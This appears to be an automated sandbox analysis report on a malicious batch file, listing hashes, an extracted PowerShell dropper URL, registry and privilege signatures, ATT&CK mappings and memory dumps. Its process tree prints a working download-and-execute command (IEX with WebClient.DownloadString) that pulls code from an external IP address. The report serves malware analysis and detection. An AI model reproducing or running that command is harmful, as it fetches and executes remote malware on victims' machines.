5ce9cc906365d7b8b504d946dd31f3a37c290972ad6966972689524abaa6d12a

General

Target

j6tiKu2h.bat
Size

197B
MD5

050369defab123655788bb4b8aab241f
SHA1

807cb1878569950049819f6a8122a760bf41624c
SHA256

5ce9cc906365d7b8b504d946dd31f3a37c290972ad6966972689524abaa6d12a
SHA512

55df33527936776d38b1a893f6e6f621eca96dad1b2d90903213697b7a0d50e274212818b20c06e00fb8d597a11231d6181d53d605e9d0c5b1983d034bf73026

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/j6tiKu2h

Signatures

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 5000 WerFault.exe
Token: SeBackupPrivilege 5000 WerFault.exe
Token: SeDebugPrivilege 5000 WerFault.exe

description	pid	process
Token: SeRestorePrivilege	5000	WerFault.exe
Token: SeBackupPrivilege	5000	WerFault.exe
Token: SeDebugPrivilege	5000	WerFault.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

Processes:

WerFault.exe

pid	process
5000	WerFault.exe
5000	WerFault.exe
5000	WerFault.exe
5000	WerFault.exe
5000	WerFault.exe
5000	WerFault.exe
5000	WerFault.exe
5000	WerFault.exe
5000	WerFault.exe
5000	WerFault.exe
5000	WerFault.exe
5000	WerFault.exe
5000	WerFault.exe
5000	WerFault.exe
5000	WerFault.exe
5000	WerFault.exe
5000	WerFault.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WerFault.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WerFault.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid process

5000 WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\j6tiKu2h.bat"
1⤵
PID:4888

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/j6tiKu2h');Invoke-BOKLQKMLWDENMA;Start-Sleep -s 10000"
2⤵
PID:4932

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4932 -s 704
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Checks processor information in registry
- Enumerates system info in registry
- Program crash
PID:5000

\??\c:\windows\system32\taskhostw.exe
taskhostw.exe -RegisterDevice -SettingChange -Full
1⤵
PID:4612

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/5000-0-0x0000000004190000-0x0000000004191000-memory.dmp

Filesize
4KB

Download
memory/5000-1-0x0000000004B00000-0x0000000004B01000-memory.dmp

Filesize
4KB

Download
memory/5000-7-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-8-0x0000000004C10000-0x0000000004C11000-memory.dmp

Filesize
4KB

Download
memory/5000-9-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-10-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-11-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-12-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-13-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-14-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-15-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-16-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-17-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-18-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-19-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-20-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-21-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-22-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-23-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-24-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-25-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-26-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-27-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-28-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-29-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-30-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-31-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-32-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-33-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-34-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-35-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-36-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-37-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/5000-38-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads